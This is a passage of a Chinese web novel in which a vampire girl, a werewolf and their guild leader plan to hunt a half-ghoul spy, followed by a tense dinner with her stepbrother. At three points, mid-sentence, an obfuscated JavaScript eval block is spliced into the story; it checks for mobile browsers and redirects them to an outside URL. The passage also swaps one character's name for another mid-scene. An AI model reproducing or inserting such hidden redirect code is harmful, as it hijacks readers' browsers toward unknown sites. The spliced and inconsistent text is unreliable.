距离她被魔女救下已经过去那么久,加上她近乡情怯地没有主动联系过魔女表明身份,搞不好魔女早就忘记还救过她这号人了。 就算她现在站到魔女面前,魔女小姐应该也不认识她了吧。 啊啊啊,早知道当时发现魔女小姐的账号就去打招呼了! 可是、可是魔女小姐救了她就走了,也没有留下联系方式,不像是像被她联系到的样子。她自己找到人家的账号去打招呼,不就等于告诉魔女哈喽你被我人肉了吗? 可恶啊,早知道当时应该叫住她光明正大地问联系方式的! 原叶咬着下唇,悔不当初。 对了! 原叶瞳孔蓦地缩小。 既然魔女是做好事不留名的类型,那她会认识或者说记得自己救过MsM这号人吗? 酸涩的心脏里又升起一丁点希望的火苗,原叶挖出手机,重新登上社交网站,五指翻飞,快速点进MsM的主页仔细看起来。 没有来自魔女的点赞、评论、MsM的粉丝列表里也没有魔女! 微弱的火苗暴涨成霹雳啪啦的烟花,原叶猛地坐直身体,被子唰啦一下掀到腰后。 魔女也不认识MsM! 哈哈!你也不过如此!你连魔女的动态都不转发,你对魔女的爱不过如此! 原叶再度高昂起来。 她可是一有时间就扛着相机到处去蹲魔女,收集无数魔女周边,第一时间转发点赞魔女的动态,个人主页全发魔女相关动态的骨灰粉!没有人能比她更有毅力!没有人能比过她对魔女的爱! 就算MsM又和她相似的经历,又能怎么样! 酣畅淋漓地确认心意后,原叶笑眯眯地划出MsM的主页,按下关注按钮。 【您已关注用户“MsM”!】 哼哼,让我们慢慢交流…… 了却一桩心事,原叶满意地合上眼睛,沉沉睡去。 …… 次日早上,原叶精神饱满地跑下楼,正看见莲在岛台忙活着,明亮的台面上放着切好的卷心菜丝和小西红柿。 卢卡斯拉了凳子坐在岛台对面,微眯着眼睛,目光随着莲拿起吐司、涂抹蛋黄酱、夹上火腿和菜丝的动作来回移动。 “早上好,你们起的好早啊。”原叶也抱过椅子,坐到岛台对面。 “早上好。”莲边切火腿边抬头道。 莲今天穿了一件黑色高领背心,露出两条肌肉线条流畅的长臂。衣服偏紧身,胸肌紧绷绷地撑着,腰间系着一条米色半身围裙,腹肌线条若隐若现。 他利落地做好两个三明治,装盘推到卢卡斯面前,卢卡斯毫不客气地接过,斯文地吃起来。 原叶的视线在咬着三明治的卢卡斯身上绕了一圈,又移到莲的脸上。 莲依旧戴着面具,看不见表情,但原叶知道莲正在看她。 原叶的眼睛骨碌碌转了一圈,满怀期冀地朝莲咧开嘴,露出洁白的前牙。 莲双臂抱胸,很轻地笑了下,转身打开冰箱,拿出一包血袋递给她:“你的在这儿。” “唔呼!”原叶欢呼一声,双手飞快接过血袋,虔诚地喝了起来。 一早上起来就能免费喝到极品美味血,太幸福了,和莲交朋友真好啊。 她呼噜噜喝了半袋,忽然发现莲没有丝毫吃饭的意思,不由咽下血,问道:“莲,你不吃东西吗?” 莲解下围裙,折好放在一旁,语气轻快:“我吃过了,你们俩吃。吃完后,我们要一起和会长开个会。” “和会长开会?”原叶下意识重复。 “对的,我昨晚已经简单跟会长汇报过情况了,今天是正式联络。”莲略一颔首,“卢卡斯的事情况特殊,会长意思先开个远程会。” “明白。”原叶若有所思地点点头,卢卡斯也无异议。 早饭过后,三人集中在客厅,莲调试了下手机,很快,伊洛缇娅的全息投影出现在茶几上空。 无名钟所过来的信号似乎质量很好,伊洛缇娅银白的发丝根根分明,满是柔和笑意的面庞恬静优雅,连衣裙下摆的花边清晰可见。 “缇娅阿姨,早上好!”原叶举高双手打招呼。 “哎呀,小叶这么精神。”伊洛缇娅笑眯眯地对原叶摆摆手,“看到大家齐齐的在这儿,我真高兴。” “会长,”莲含蓄地颔首,“我给他俩都吃过早饭了,准备万全,您随时可以开始。” “嗯,你办事我放心。”伊洛缇娅笑眯眯地对莲说,澄澈如黄金般的双瞳闪过赞许。随即,她转向卢卡斯,语气关切:“卢卡斯,好久不见。” “伊洛缇娅会长……”卢卡斯神情恍惚一瞬,低声道。“我……请问我的狼群还好吗?” “都安好,放心吧。”伊洛缇娅弯了弯嘴角,声气放得温柔轻缓,原叶却从中读出一丝严厉,好像绵软的冰沙里混入锋利的碎冰:“卢卡斯,你明明是狼人族最健壮的个体,怎么会被人类抓走了?” 卢卡斯浑身一震,狼耳和尾巴同时耷拉下去,轮廓分明的面皮上浮起羞愧难当的红晕:“非常抱歉!会长,我一时大意,被一个混血尸鬼骗了。” 混血尸鬼?一旁静静听着的原叶好奇地竖起耳朵。 伊洛缇娅金瞳闪过诧异:“继续说。” 卢卡斯道:“我在例行狩猎时碰到了那个家伙,他自称张晖,长相属于任何人看了都会觉得有些似曾相似的类型,语气熟稔,以至于让我产生了曾经和他接触过的印象,导致后续判断出现失误。” “他说无名钟所准备在伊甸园设置地下据点,您要他帮忙招募人员去做事先探查和后续安保,我最开始半信半疑,但他说是这是您直接指派给他的秘密任务,还拿出一整套赏金猎人服装和伪装证件。” 说到此处,卢卡斯停顿一下,声音有几分干涩。 “服装正是我的尺码,证件上也印有我的照片,加上他说是秘密任务知道的人越少越好,我就相信了。” 伊洛缇娅蹙眉:“我不认识这个人,也没有下过这种指示。” “是我考虑不周。早知道当时应该和您先确认下的,”卢卡斯落寞地低下头,“一切都很逼真,加上他一直在催促我快点出发,我就和他一起走了。” 伊洛缇娅面色凝重:“不怪你,对方显然早有预谋,恐怕已经在我们中潜伏了相当长时间。” 卢卡斯沉重地颔首,硬朗的眉紧皱着,流露出些许恨意:“是的,那天深夜,我和那个混血尸鬼进了伊甸园,刚走了一阵,他就说要先去和接头人碰头,把我带进了一家酒吧的包房,说让我暂等。我进去坐了没多久就失去意识,再睁眼已经被铐进监狱……” “他们把我接到了一台很大的机器上,每天都抽取我的脊髓和血液,每当我虚弱下去,他们就给我注射营养液,又用模拟月光逼我变身,复原身体……周而复始……周而复始……” 卢卡斯的身体颤抖起来,双手颤抖着环住自己,用力挠着皮肤,留下一道道血痕,细小的血珠从抓痕中渗出,血腥味逐渐飘散在空气中。 原叶看得心惊肉跳,刚想让卢卡斯别挠了,莲先一步扯过沙发上的盖毯,一把盖在卢卡斯头上,将他整个人蒙了起来。 卢卡斯颤抖着抓住毯子,将自己紧紧裹着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17358955|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拱起的后背剧烈起伏一阵,喉咙中溢出低低的呜咽,半晌才恢复平静:“抱歉,我失态了。” “没事。”莲淡淡道。伊洛缇娅也缓慢地左右摇摇头。 有毯子遮盖,卢卡斯身上刺鼻的血腥气淡了不少,原叶揉揉鼻子,问道:“是我们进去时看到的那台机器吗?” 卢卡斯像上锈的齿轮,滞涩地点头。 “人类一直在做这样的事,”一直沉默聆听的伊洛缇娅忽然开口,顿时吸引了众人的视线,“他们相信异族体内中含有能让身体和精神一直保持鲜活的物质——他们将之称为‘永生因子’。为了提取出永生因子,才会不断抽取卢卡斯的脊髓和血液。” “永生因子?”原叶喃喃道,“我们身上有这种东西?” “人类认为有,那就是有。” 伊洛缇娅的声音平静如水,带有不易察觉的冷意,犹如湖面升腾起冰雾。 “卢卡斯是狼人,能够通过在人和狼的形态中切换来修复□□,在人类眼中,他就是能不断产出永生因子的最佳材料。” “会长,您怎么会知道这些?”莲仰头问。 “因为我、不,我们经历过。” 伊洛缇娅平和的脸上罕见地浮现沉痛的哀伤,“除了我和小叶,你们都没有经历过百年前的大清洗。当时小叶还很小所以可能不清楚,但我经历了全过程……那场战争完全是人类为了永生实验而发起的、试图霸占获得异族长寿和健康身体的阴谋。” 莲和卢卡斯不约而同地看向原叶,原叶咬着下唇,略微颔首。 大清洗来临时,她刚学会一个人在房间里睡觉,之后一路仓皇流离,生活闭塞,直到此刻才听说永生因子的概念。 忆起往事,伊洛缇娅的金瞳中蓄起晶莹的光泽,缓缓道:“在大清洗中,血族和精灵族损失最为惨重,血族除了小叶外全灭,精灵族也大量被掳走囚禁……” “精灵族能相互在精神领域共感,分享视野和记忆,大家心知反抗无望,不愿成为实验材料,都……都自杀了,没有给人类留下活口,我自己也是那时候才得知永生因子这个概念。” 轻轻拭去眼角的泪,伊洛缇娅弯腰,全息投影的手臂缓缓伸展,轻柔地抚摸卢卡斯的头顶。 “卢卡斯,你被抓走这件事恐怕只是开端。这是个不好的信号,哪怕经过一百多年,人类仍然没有放弃永生计划。”伊洛缇娅表情复杂又凝重,“只是没想到他们竟然能够准备周密到这种程度,能在我们现存的凝聚力量中混入间谍……” 听着伊洛缇娅的讲述,原叶脊背渐渐发凉,有危机感浮上。 伊洛缇娅直起身子,严肃道:“我们务必要找到那个内鬼。卢卡斯,混血尸鬼不常见,如果我见过,应该会有印象。你可以详细描述一下这个张晖长什么样子吗?” “嗯,”卢卡斯紧抿着唇,点了点头,“他的外貌其实没有多少尸鬼的特征,如果不是他脱外套时身上飘出尸鬼与人类混合后才有的尖锐气味,我也不会发现他是混血。” “他是一名成年男性,年龄大约在30后半到40出头,不胖不瘦,稍微有一点驼背,身高在1米7左右,黑色短发,两鬓略微斑白,戴眼镜。” 卢卡斯深邃的眉眼紧皱,琥珀色的双眸闪烁着微光。 “他的五官非常普通且常见,我现在甚至很难精准地回忆起他的具体长相,只记得他有一只眼睛的眼白略微呈现灰黑色,经常会眨动这只眼,似乎有视力问题,这是他全身最有特征的地方,其他没有了。” 听着卢卡斯的描述,一旁原叶的眼睛一点点睁大,她张了张嘴,刚想说话,就听伊洛缇娅缓缓开口:“我记得这个人。” 卢卡斯嚯地抬起头,原叶的手也忍不住抓紧沙发垫的边缘,莲双臂环胸,不知在想些什么。 伊洛缇娅思忖道:“如果我没记错的话,他的真名叫柳井,很久之前就从尸鬼一族中消失了,当时是按死亡报给我的,没想到是去做了人类的间谍……” 原叶反复吞咽下口水,忍不住插入对话:“缇娅阿姨,卢卡斯,不好意思打断下你们,这个叫柳井的是不是说话声音有些沙哑,但举止优雅,看起来很有风度?他有没有戴半指手套?” 伊洛缇娅和卢卡斯同时吃了一惊,伊洛缇娅迟疑地颔首,“小叶,你怎么会知道?” 卢卡斯狼耳竖直,惊疑不定地看向原叶:“这么一说……他确实戴了手套,是半指的。” 至此,原叶已经确信无疑。 她清了清嗓子,缓缓道:“……我也见过这个人。” 20. 第 20 章 “什么?” “怎么回事?” 卢卡斯和莲同时出声追问。 伊洛缇娅单手下压,示意他们安静,柔声对原叶道:“小叶,详细说。” 原叶单手摩挲着下巴,回忆着当时的细节:“嗯……我刚到伊甸园的时候没地方落脚,只好辗转混在酒吧和俱乐部里觅食过夜,因为待得久嘛,那些地方的常客我基本都有印象,经常看见这个人。他也跟我搭讪过。” 她环视一圈震惊的三人,有些不好意思地摸摸后脑勺,嘿嘿一笑:“放心,我和那家伙没聊过什么,他也没发现我是吸血鬼。他当时一过来我就觉得他的血不会好喝,所以随便把他糊弄走了。” “竟然还有这么一遭……”伊洛缇娅垂着眼睫,神情凝重,“小叶,他当时和你说了什么,你还记得吗?” “大概记得,”原叶谦虚地说,她在记忆力方面还是很得意的,“他说他手里有几个不错的模子,都可外带,问我有没有兴趣看看。” “模子?”莲突兀地开口,语气惊诧,“是那种……夜场男模?” “对的。”原叶诧异地望向莲,心说你自己就穿的跟个男模似的,装什么纯?想归想,面上还是不动声色:“我当时的人设是情场失意的年轻富婆,有一两个妈咪过来问不正常吗?” “……情场失意的年轻富婆?”莲的语气越发古怪,仿佛看见黄鼠狼给哥斯拉做了四菜一汤还用番茄酱画了爱心,“你吗?” 这就是明晃晃的挑衅了! 识别到莲隐约的恶意,原叶立即眯起眼睛,粗声粗气地回击:“少看不起人,我可是有支配魔眼的!” 莲冷哼一声,似乎还想说什么,伊洛缇娅冷不丁开口,“好了,莲。” “让小叶说完。” “是,不好意思。”莲迅速道歉,安静下来。 原叶撇撇嘴,白了莲一眼,又朝伊洛缇娅甜甜一笑,将在酒吧遇到柳井,被推荐男模套近乎的全过程详细讲述一遍,最后总结道:“别的不说,这家伙的外形和谈吐确实给人一种很可信的感觉,如果没什么防备心,真容易被他骗了。” 沉默许久的莲忽然开口:“卢卡斯被骗到酒吧,原叶也在酒吧遇见过柳井……他还是个妈咪……会长,这或许是个好机会。” 伊洛缇娅思忖片刻,拍了板:“莲,这件事交给你和原叶去办。卢卡斯,你留在莲家里待机,你的脸已经暴露了,不适合出现在外面。” “是。”莲应道。 伊洛缇娅柔柔地看向原叶,唇边带着笑意,“小叶,你也没问题吧?” 原叶斗志昂扬地一拍大腿:“没问题!交给我,我能把那个柳井引出来。” “喔,还有一点。” 原叶忽然想起最关键的问题,用力磨了磨牙齿,道:“既然这个柳井能用完整的赏金猎人装备证件把卢卡斯骗进伊甸园抽取永生因子,说明他背后一定是异端审判会——因为他们管着赏金猎人、圣裁军和伊甸园各个出入口。如果没有审判会的默许和支持,身为狼人的卢卡斯不会被这么轻易地放进来。” “我觉得,搞不好平民区被轰炸的事可能也和这个柳井有点关系。我的第六感一向很准,这个方向我也想挖一挖。”原叶斩钉截铁地说。 莲问:“你怎么确定柳井能跟轰炸扯上关系?” 原叶看了他一眼,自信道:“我的第六感。” 莲轻笑一声:“就凭第六感吗?” 朽木不可雕也! 原叶撇撇嘴,有些嫌弃地说:“四年前,我差点被一个赏金猎人掏了心脏,当时我的四肢和肠肚被扔的到处都是,再生能力也被压制了,眼看就要死了,可我内心深处总有种感觉,觉得我还能活,我不会死。果然,千钧一发之际,魔女小姐出现了,她一击就杀死了那个赏金猎人,还帮我把肠肚和四肢拼回去。就这样,我活下来了。” 莲猛地僵住。 原叶毫无察觉,提及魔女,脸上不禁流露出憧憬和幸福的神色。她停顿片刻,才继续说:“这次对柳井和轰炸事件有关的第六感和当时我觉得我不会死的感觉是一样强烈的,所以我觉得这个方向值得调查——反正也不违背咱们的目的,就是顺手的事儿。” 伊洛缇娅意味深长的目光在莲和原叶之间缓缓移动,银白的长睫掩住眸中的疑惑与了然,半晌,她唇角微微翘起,柔声道:“有何不可呢?莲,你这段时间就和小叶搭档吧,顺便协助下小叶的调查,不费什么事。” “总之,”伊洛缇娅双手在胸前“啪”地合十,清脆的声响顿时吸引了三人的注意力,“柳井必须死。莲,小叶,你们把柳井的头带回来给我,我要彻底检查他脑内的记忆。他是混血尸鬼,按说切了头也不会死,你们万事小心,安全第一。” “没问题!”原叶斗志昂扬地拍了拍胸脯。 余光见莲还呆坐在原地,原叶疑惑地蹙眉,弯曲手肘捅了捅他。莲这才如梦初醒般,身体颤了下,低声回应:“是,会长。” “嗯,期待你们的好消息。”茶几上的全息投影闪了闪,伊洛缇娅的身影消散在空气中。 清晨的阳光透过窗帘投进客厅,微尘在光柱里游弋。 卢卡斯的狼耳抖了抖,蓬松的尾尖有些落寞地扫过沙发靠枕,琥珀色的眼眸悄悄看向原叶。 “所以……我要一直在这里待机吗?” “嗯,听缇娅阿姨说的是这个意思。而且这样对你也比较安……” 原叶的目光完全被卢卡斯轻轻摆动的大尾巴吸引了。 晨光之中,奶油色的狼毛绒密柔软,外层呈现出半透明的光泽,正随着卢卡斯的呼吸轻缓地起伏。 她看得两眼发直,胳膊悄悄绕过坐在中间的莲,缓缓伸向卢卡斯的尾巴。 毛茸茸的尾巴款款摇摆,引诱似的凑向她的掌心。原叶的嘴角不禁慢慢上扬,胳膊一探,将暖融融的尾巴满满握在手心。 啊!毛绒天堂! 原叶幸福地捏着卢卡斯的尾巴,不料坐在中间的莲忽然伸开两条长腿,身子径直后仰,结实的背肌陷进沙发,牢牢压住了她的胳膊。 “哎?咳咳!”原叶拍拍莲的肩膀,用力清了清嗓子,示意他让开。 莲就像没听见一样,老神在在地仰靠在沙发上,长臂一伸,轻巧地越过她握着卢卡斯尾尖的手,一把攥住尾巴中段,手背青筋暴起。 咔嚓。 “是的哦,卢卡斯。” 莲轻快爽朗的声音与卢卡斯尾巴骨折的轻响同时传来,“在你能收起这些不该有的东西之前,你哪也去不了。” “你!”卢卡斯闷哼一声,尾巴毛层层炸起,脸上浮现出恼怒的红,“松手!” 莲从善如流地松开卢卡斯。 卢卡斯向后压低狼耳,琥珀色的眼瞳闪过凶光,正欲讲话,面前的茶几骤然化为柔软的液态金属,将猝不及防的卢卡斯整个吞入腹中。 裹着卢卡斯的金属巨蛋像有自己的意识一般精准飞向二楼,“啵”地一声将卢卡斯吐回房间,并从外面封住门。 “……?” 原叶眯起眼睛,狐疑地瞪向莲。 她算是发现了,莲就像是一只表面纯良实则一肚子心眼的漂亮边牧,虽然外表体面,道歉又快又诚恳,还出手慷慨,但架不住天生一肚子心眼,再怎么掩饰还是会沥沥拉拉往出漏坏水,你刚觉得他改好了,他转头就趁你不注意在书房地毯下拉屎。 也不知道卢卡斯怎么惹他了,明明昨晚还在教卢卡斯洗澡,早上还给他做了火腿三明治,现在又故态重萌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366063|199138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不仅捏着卢卡斯的尾巴阴阳怪气,还像丢垃圾一样把他扔回客房。 甚至坏心眼地压住了她的胳膊。 她的胳膊。 她的胳膊要麻了啊! “喂!你压住我胳膊了!”原叶勃然大怒,歪着身子奋力去推莲的肩膀,“起开点啊。” 莲也不知道哪来那么大力气,把她胳膊死死压在腰后,像尊大佛一样纹丝不动,她能举起五百斤的力气竟然拿他无可奈何。 “可以,但你要答应我一个条件。” 雅彦轻笑着转过头,飞快地伸出手在原叶头顶用力摩挲了一下,趁原叶愣神的间隙,手掌迅速下移,快速在她脸上捏了一把。 原叶像点着的炮仗一样猛窜起来,又叫那条被压住的胳膊窝囊地拽回原位,甚至因为反作用力,整个人摔在他身侧,柔软的脸蛋重重撞到他肩膀。 肩膀被软物挤压的感觉一触即分,在他动作之前,原叶飞快地撑起身子,气急败坏地给了他一拳:“你干什么!?” 雅彦从容地挡住原叶的拳头,捏在手心顺势一拽,将原叶拉至身前,低头瞧她。 “你刚才也听到会长说的话了,我和你成为搭档,一起去抓那个混血尸鬼。” 看着被迫歪倒在他身上,发丝凌乱,脸颊红了一块,双眼喷火的原叶,雅彦仿佛在三伏天喝下爽口的冰饮,通体舒畅。 原叶此刻的狼狈和窝火,完全因他而起。 太美妙了。 奇妙的高昂感涌现心中,雅彦愉悦道:“我们已经是正式搭档了,你保证你会听我的,我就松开你。” “我为什么要听你的!”原叶从他手中挣脱出拳头,又一次奋力推挤他的肩膀,想抽出胳膊。 还不死心?雅彦不动声色地调整力度,既不会压断原叶的胳膊,又能让她动弹不得。 原叶反复尝试几次都抽不出来,身体还越贴越近,气得咬牙切齿,她停下了挣扎的手臂,仰脸瞪他,表情愤恨。 没有什么比看见原叶因为他吃瘪更叫他愉快的了,雅彦强忍笑意,继续火上浇油。 “为什么要听我的?” “因为你是刚加入无名钟所的新人,我是你的前辈,比你经验丰富,也比你强大。” “既然会长宣布我们是搭档,我又是你的前辈,所以……现在我对你有责任。” 雅彦慢条斯理地捻起原叶垂落在他大腿上的发梢,修长的手指穿过柔顺的发丝,一圈一圈向上缠绕,指背似有若无地擦过她皙白的脸侧。 “……原叶,你要听我的。” 原叶像是气急了,脸蛋肉眼可见地涨红,像个圆滚滚的西红柿,“你什么强盗逻辑,而且我没听错的话,刚才缇娅阿姨说的是让你协助我吧,那这就意味着我是老大啊!应该你听我的!” “这一次情况不同。”雅彦捉住原叶趁机用力掐拧他腰侧的手,攥在掌心,平静地说。 “柳井是混血尸鬼,还长期潜伏在伊甸园里。像你所说的,他很有可能背靠异端审判会,是个极其危险和狡猾的对手。” “那又怎么样!”原叶仍不服气。 雅彦垂下眼帘,手掌轻柔地贴上原叶的脸,拇指摩挲着她的下颌。 “原叶,你在伊甸园生活的时间恐怕还没几年吧,异端审判会的势力盘根错节,伊甸园比你想象中复杂。如果你在一知半解的情况下贸然行动,不仅你会有危险,还会把我、卢卡斯、乃至会长都拉下水。” 游移的指尖停留在原叶透亮如星的瞳眸旁,雅彦点触了下她颤动的眼睫,缓缓道:“你愿意看到那样的结果吗?” 原叶表情一僵,面上闪过犹豫和担忧的神色,雅彦知道她听进去了。 他将声音放柔,诱哄道:“所以,你听我的,好吗?” 21. 第 21 章 不甘心! 好不甘心! 原叶后槽牙咯吱作响。 但莲说的确实有道理…… 她再也不想任何人因为她受到牵连和伤害了。 原叶垂眸思索片刻,闷闷地从喉咙嗯了一声,“我知道了。听你的行了吧。” “嗯,”莲似乎心情很好,这一声连她都听得出情绪高昂,“我要说的就是这些,现在你可以走了。” 他身体前倾些许,原叶抽回一直被莲压制手臂,默默揉着缓解麻意,心里憋闷又无语。 可恶啊,为什么好像自从轰炸过后,她总是这么被动? 在雅彦家被雅彦立规矩,出来在这里又被莲捏住七寸。 凭什么她到处受制啊? 在家里受制也就算了,毕竟是寄人篱下,可怎么跑到外面还要被管啊。 一想到在家受制,原叶豁然想起现在已经是第二天上午。 她是昨天半夜从房间窗户溜出来的,虽说雅彦大部分时间都昼伏夜出,但也难保他中午不会突发奇想跑出来看看她在做什么。 经历过一两次白天突袭,原叶心里十分没底。 如果不回去搞点动静,被雅彦发现她偷溜出去没在家,那就麻烦了。 更不用说还有那个每天必须一起吃晚饭的流程…… 原叶霍地从沙发上站起来,急急地对莲说:“那什么,我白天得先回住的地方一趟,晚上我们先在中心商区最大的那家俱乐部会和吧。到时候我发你具体时间。” “为什么?”莲问。 “现在住的地方有同居人,我回去点个卯。”原叶含糊地说,“而且酒吧和俱乐部只有晚上人多。我之前是在平民区那边的酒吧街见过柳井,轰炸过后那一带都碎完了,现在还开着的地方就剩二层的中心商区的那几家酒吧和俱乐部了,咱们晚上过去,碰到柳井的概率更高。” “这样啊……”莲意味深长地笑笑。 他又仰靠回沙发,长臂舒展,指尖在沙发背上有一搭没一搭地点着。 莲的衣服本就偏紧身,这样大开大合的姿势,让本就饱满的胸肌更加凸显,轮廓清晰的腹肌也随着呼吸起伏,宽肩窄腰一览无余。 尽管心中愤懑,原叶的视线仍不自觉被吸引过去。虽然莲的行为确实叫她恼火,但她也不得不承认这家伙的身材是真好。 可恶,在这里超绝不经意地展示什么大肌肉?是在讽刺她没有吗? 原叶两眼喷火,恨不能用目光把莲的胸烧出两个窟窿。 练那么大干什么?!那文胸给你,我拿美瞳盖盖得了? 死装男。 “正好我也有事要出去。”死装男莲轻点着沙发背的指尖停顿,声音平静悠然。 他忽然轻笑一声,话音带了一丝说不清道不明的情绪:“我们晚上见。” 原叶松了口气,比了个OK的手势,庆幸莲没有多问。 要是让莲知道她现在不仅借住在变态鬼畜继兄家,还很窝囊地被规定了门禁和每晚必须一起吃饭的规矩,指不定怎么会嘲笑她。 她可不想节外生枝。 原叶飞快地整理了下自己,临出门时忽然想起来卢卡斯还被关在二楼,立即转身问:“莲,卢卡斯就这样锁在客房了吗?” “对的,门窗都锁上了,他现在绝对安全。”莲朝她挥了挥手,“放心走吧。” “哦……”原叶嘀嘀咕咕地转身开门,心说门窗都上锁?也太憋了吧。转念一想,刚才看卢卡斯听会长让他留在家里时,表情好像不是很情愿。如果不把他锁起来,可能还真有偷溜出门的风险。 锁起来确实更安全。 原叶耸耸肩,转身离去。 她没有看见的是,身后大门闭合的瞬间,原本坐在沙发上的男人骤然变为鸦群,消失在空气中。 …… 原叶化成蝙蝠,一路疾飞到中央大升降梯附近的监控死角,化为人形走向升降机的入口。 中央大升降机作为联通上下三层的唯一路径,执行两套不同的安保措施:一层通往二层的乘客只需要统一将包袋过机安检即可,二层通向三层还需要再加一次身份认证。 安检口排着长龙,原叶压低帽檐,自然地走在人群中,随着队伍过安检、乘坐升降梯、顺利从一层升到二层。 轻车熟路地从窗户溜进卧室,原叶变回人形,换回家居服,才推开房间门悄悄往外看。 走廊灯关着,四下一片寂静,雅彦似乎还没起床,房门紧闭。 眼下刚过中午,倒是也不奇怪,原叶按亮手机,见没有雅彦的新消息,顿时放下心来。 雅彦还没发现她昨晚不在。 原叶关好房门,回身一个大跳扑回床上,四仰八叉地躺下。 她的第六感告诉她,只要抓住柳井,对轰炸事件的调查就能往前推进一大截。 想到今晚就要行动,原叶心红得感觉血液都沸腾起来,顿时躺不住了,翻身下床,冲到书桌前按开手柄。 随着主机连接的显示器亮起熟悉的游戏界面,原叶嘴角的弧度也越来越明显。 心情激动,手柄电量充足,房间独立,肚子饱着,雅彦没醒,一白天都没有要紧事,可以自由安排。 耶!游戏时间! 原叶高高兴兴地搓着手柄,操纵游戏里左手盾牌右手长刀的角色在废墟遗迹中探索。 或许是因为昨晚和今早都喝了极品美味血,原叶觉得头脑轻灵,精力充沛,打游戏的状态都比平时好。 她第一次喝美味血的时候就发现,那血不仅好喝,内含的能量也奇高,喝一袋甚至能够顶得了普通血的五六袋,就像异常美味的补品。 畅饮过两袋补品的原叶操作人物一路过关斩将,开启新的赐福点,玩得酣畅淋漓。 直到屏幕右下方弹出手柄低电量提醒,她才恋恋不舍地关掉游戏,将手柄放回充电底座。 显示器一熄灭,房间顿时暗下来,原叶惊觉窗外光线昏沉,已临近傍晚。 好久没玩得这么痛快了,差点忘了晚上还要和莲去蹲柳井。 不过,在那之前…… 原叶探身捞起手机看了眼时间。 差不多了。 屏幕上的时钟跳转到六点整时,房门准时被敲响。 “原叶,”雅彦的声音隔着门,略微失真,“来吃晚饭。” 原叶应了一声,小跑过去开门。 走廊灯开着,雅彦静静地站在门口,半长的黑发随手在脑后束起,腰间系着围裙,衬衫袖子随意地挽起,露出一截肌肉线条流畅的小臂。 “有没有什么想吃的?”雅彦眼帘低垂,漆黑的眼珠看不出情绪,“做给你吃。” 原叶:“……?” 见鬼了,太阳打西边出来了。 一向是直接做好饭通知她来吃的雅彦竟然会问她有没有想吃的。 这还是现实吗?不会是打游戏打进了平行时空吧。 平行时空里也有雅彦啊? 不是,平行时空里她还得吃雅彦做的饭吗? 原叶的脑子像一个被疯狂拧动开关的糖果扭蛋机,无数五颜六色稀奇古怪的想法稀里哗啦地摇晃,整个人呆愣在门前。 “原叶?”雅彦又叫了她一声。 原叶回过神来,喉咙滚动了下。 她想问她不饿能不能不吃,但看着雅彦漆黑的眼睛定定地凝着她,唇角也抿着,似乎隐约流露出期冀。 想到难得他问一次,必须抓住机会,原叶一咬牙一闭眼,说:“热巧克力,无糖的。” 这是她唯一能吃出香味的人类食物。 “只要热巧克力?”雅彦微微抬起眉毛,“别的不吃么。” “嗯……”原叶做作地低头,眼珠一会儿往左一会儿往右地转着,红着脸小声说:“最近胖了,想少吃一点。” 她本来想编一个更像人的理由,比如中午吃多了或者下午吃了零食一类,但又怕雅彦追问她吃了什么,她就不得不再说一个谎来圆前面的慌。 倒不如说是要减肥,虽然看起来信度不高,但这是她这个外表年龄的人类女孩常会有的烦恼。涉及身材体重,以她和雅彦生疏的关系,雅彦应该不会多问, 果然,雅彦漂亮的眉眼蹙起,上下打量了她,似乎有些不解,但很快他顿了下,露出了然的微笑。 “可以。” 饭桌上,原叶捧着一杯无糖的热巧克力,小口啜饮。 无糖的热巧做起来很费事,光可可粉就要搅拌很久,雅彦做的竟然毫无粉感,口感细腻。原叶久违地在人类的食物中品出香醇的味道。 雅彦优雅地插起一块西红柿放入口中咀嚼,慢条斯理地咽下,眉眼弯弯地看向原叶:“好喝吗?” “嗯嗯,有香味。”原叶点头,随后意识到这个说法有点怪,忙改口说:“很好喝,谢谢你。” 雅彦浓密的长睫颤了下,漆黑的眼眸凝着她,“不用客气。” 原叶客气地笑了下,正准备继续喝完杯里的热巧,忽然看见雅彦黑眸中飞快地闪过奇异的光泽,唇边绽开一点笑意。 那丝笑意冰凉蜿蜒,仿佛擦着脚踝过去的活蛇,原叶背后莫名一寒。 雅彦一边切割着盘中的食物,一边抬眸望着她,声气柔和而轻缓,“……你在我这里这么快就觉得吃胖了,我真为你高兴。” 原叶眼皮一跳。 “如果你妈妈知道你在减肥,一定会很欣慰吧。” 雅彦将餐叉刺入切好的肉块,仔细地用刀将酱汁抹上去。 “毕竟不久前她刚横尸你面前,你这么快就走出来了,觉得吃胖了,还积极减肥……内心很强大呢。” 草。 原叶顿时想掀桌。 雅彦今晚格外的温柔让她放松了警惕,差点忘了这家伙的扭曲本质。 虽然她和那个人类女人并没有多少感情,但在雅彦这里,那个女人就是她的母亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原叶一时不知作何反应,捏着那张卡,手指骨节泛白。 她认出雅彦给她的这张卡级别很高,支付时无需持卡人身份认证就能刷,对于没有合法身份的她来说倒是极大的方便。 